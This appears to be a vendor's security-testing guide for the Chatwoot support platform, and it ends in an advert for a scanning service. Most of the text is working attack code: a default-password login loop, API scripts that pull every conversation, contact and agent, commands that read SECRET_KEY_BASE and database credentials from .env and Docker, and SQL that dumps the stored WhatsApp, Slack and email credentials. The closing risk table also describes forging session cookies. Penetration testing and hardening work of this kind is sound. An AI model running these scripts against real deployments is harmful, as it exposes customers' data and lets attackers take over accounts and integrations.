Chatwoot Security Testing: Default Credentials, API Token, Database, and .env SECRET_KEY_BASE

Chatwoot is a widely deployed open-source customer support platform (Intercom/Zendesk alternative) built with Ruby on Rails, used by organizations to manage all customer conversations across email, live chat, WhatsApp, Slack, and other channels — it contains all customer support interactions, contact information, and potentially sensitive customer data. Key assessment areas: SECRET_KEY_BASE in the .env file is used by Rails to sign session cookies; DATABASE_URL contains the full PostgreSQL connection string with password; the Chatwoot REST API returns all conversations and contact data; inbox integrations (email, Slack, WhatsApp Business API) store credentials in the database; and the /super_admin panel may be accessible without additional authentication. This guide covers systematic Chatwoot security assessment.

Table of Contents

  1. Authentication and API Token Testing
  2. API Conversation, Contact, and Agent Enumeration
  3. .env Credential Extraction and Inbox Integration Secrets
  4. Chatwoot Security Hardening

Authentication and API Token Testing

# Chatwoot — authentication and API token testing
CHATWOOT_URL="https://support.example.com"

# Chatwoot admin login — returns access_token
AUTH_RESPONSE=$(curl -s -X POST "${CHATWOOT_URL}/auth/sign_in" \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@example.com","password":"admin"}' 2>/dev/null)

echo "$AUTH_RESPONSE" | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',{})
if data.get('access_token'):
    print(f'Access token: {data[\"access_token\"]}')
    print(f'Account ID: {data.get(\"account_id\")}')
    print(f'Name: {data.get(\"name\")} ({data.get(\"email\")})')
    print(f'Role: {data.get(\"role\")}')
else:
    print(f'Failed: {d}')
" 2>/dev/null

# Try common default passwords
for PASS in "admin" "password" "chatwoot" "changeme" "123456"; do
  RESULT=$(curl -s -X POST "${CHATWOOT_URL}/auth/sign_in" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"admin@example.com\",\"password\":\"${PASS}\"}" 2>/dev/null | \
    python3 -c "import json,sys; d=json.load(sys.stdin); print('OK' if d.get('data',{}).get('access_token') else 'FAIL')" 2>/dev/null)
  echo "admin@example.com/${PASS}: ${RESULT}"
done

# Check super admin panel accessibility
curl -s -o /dev/null -w "%{http_code}" "${CHATWOOT_URL}/super_admin" 2>/dev/null
# 200 = super admin accessible (manages all accounts on the Chatwoot instance)

API Conversation, Contact, and Agent Enumeration

# Chatwoot REST API — conversation, contact, and agent enumeration
CHATWOOT_URL="https://support.example.com"
ACCESS_TOKEN="your-chatwoot-access-token"
ACCOUNT_ID="1"  # Account ID from auth response

# List all conversations — all customer support interactions
curl -s "${CHATWOOT_URL}/api/v1/accounts/${ACCOUNT_ID}/conversations?page=1" \
  -H "api_access_token: ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',{})
meta = data.get('meta',{})
convs = data.get('payload',[])
print(f'Conversations: {meta.get(\"all_count\")} total, showing {len(convs)}')
for c in convs[:5]:
    print(f'  [{c.get(\"id\")}] {c.get(\"meta\",{}).get(\"sender\",{}).get(\"email\")} status={c.get(\"status\")} channel={c.get(\"channel\")}')
    print(f'    subject={str(c.get(\"additional_attributes\",{}).get(\"mail_subject\",\"\"))[:50]}')
" 2>/dev/null

# List all contacts — complete customer database
curl -s "${CHATWOOT_URL}/api/v1/accounts/${ACCOUNT_ID}/contacts?page=1&include_contacts=true" \
  -H "api_access_token: ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
payload = d.get('payload',{})
contacts = payload.get('contacts',[]) if isinstance(payload,dict) else payload
print(f'Contacts: {len(contacts)}')
for c in contacts[:10]:
    print(f'  [{c.get(\"id\")}] {c.get(\"name\")} email={c.get(\"email\")} phone={c.get(\"phone_number\")}')
" 2>/dev/null

# List all agents
curl -s "${CHATWOOT_URL}/api/v1/accounts/${ACCOUNT_ID}/agents" \
  -H "api_access_token: ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
agents=json.load(sys.stdin)
print(f'Agents: {len(agents)}')
for a in agents[:10]:
    print(f'  [{a.get(\"id\")}] {a.get(\"name\")} ({a.get(\"email\")}) role={a.get(\"role\")}')
" 2>/dev/null

.env Credential Extraction and Inbox Integration Secrets

# Chatwoot .env credential extraction and inbox integration secrets

# .env file — Rails secrets and integration credentials
cat /app/.env 2>/dev/null | grep -E "SECRET_KEY_BASE|DATABASE_URL|SMTP|MAILER|REDIS|AWS|SLACK|WHATSAPP|TWILIO|SENDGRID"
# SECRET_KEY_BASE — Rails cookie signing secret (enables session forgery)
# DATABASE_URL — full PostgreSQL DSN with password
# REDIS_URL — Redis connection (may include auth password)
# SMTP credentials for email sending
# AWS credentials if using S3 for file attachments

# Docker deployment
docker inspect chatwoot 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['SECRET','DATABASE','SMTP','AWS','REDIS','MAILER','SLACK','WHATSAPP','TWILIO']):
            print(e)
" 2>/dev/null

# PostgreSQL direct access — all accounts and integration credentials
psql "$DATABASE_URL" 2>/dev/null << 'EOF'
-- All Chatwoot agents with hashed passwords
SELECT id, name, email, role, confirmed_at,
       sign_in_count, last_sign_in_at
FROM users
ORDER BY role DESC, last_sign_in_at DESC
LIMIT 20;
EOF

# Inbox configurations — stored integration secrets
psql "$DATABASE_URL" 2>/dev/null << 'EOF'
-- Email inbox passwords and API keys for integrations
SELECT i.id, i.name, i.channel_type,
       i.email, c.channel_details
FROM inboxes i
JOIN channels_* c ON ...  -- table name depends on channel_type
LIMIT 20;
EOF

# All channels with credentials (email passwords, WhatsApp API keys, Slack tokens)
psql "$DATABASE_URL" 2>/dev/null << 'EOF'
SELECT id, type, credentials, settings
FROM channel_email
UNION ALL
SELECT id, 'whatsapp', credentials::text, settings::text FROM channel_whatsapp
UNION ALL
SELECT id, 'api', credentials::text, settings::text FROM channel_api
LIMIT 20;
EOF

Chatwoot Security Hardening

Chatwoot Security Hardening Checklist:
Security TestMethodRisk
API conversation and contact enumerationGET /api/v1/accounts/{id}/conversations — all customer conversations; GET /api/v1/accounts/{id}/contacts — all contacts with emails and phone numbers; complete customer support databaseCritical
SECRET_KEY_BASE extraction and Rails session forgeryRead .env SECRET_KEY_BASE — Rails cookie signing secret; forge valid session cookies as any Chatwoot user bypassing password authentication; admin session provides full account accessCritical
Inbox integration credential extraction from databasePostgreSQL SELECT from channel tables — email IMAP/SMTP passwords, WhatsApp API keys, Twilio tokens, Slack bot tokens; enables reading/sending customer support messages via integration channelsCritical
Super admin panel accessGET /super_admin — HTTP 200 = accessible; provides cross-account administration capability for all Chatwoot accounts on the instanceCritical (if accessible)
DATABASE_URL PostgreSQL credential extractionRead .env DATABASE_URL — full connection string with password; direct database access to all conversations, contacts, agent passwords (bcrypt), and integration credentialsCritical

Automate Chatwoot Security Testing

Ironimo tests Chatwoot deployments for admin credential exploitation, SECRET_KEY_BASE extraction and Rails session forgery, DATABASE_URL PostgreSQL credential extraction, inbox integration credential exposure (email/WhatsApp/Slack/Twilio), REST API conversation and contact data enumeration, super admin panel network exposure, user enumeration via sign_in error differentiation, rate limiting verification on authentication, Redis URL extraction, Docker environment variable credential exposure, and PostgreSQL network exposure on port 5432.

Start free scan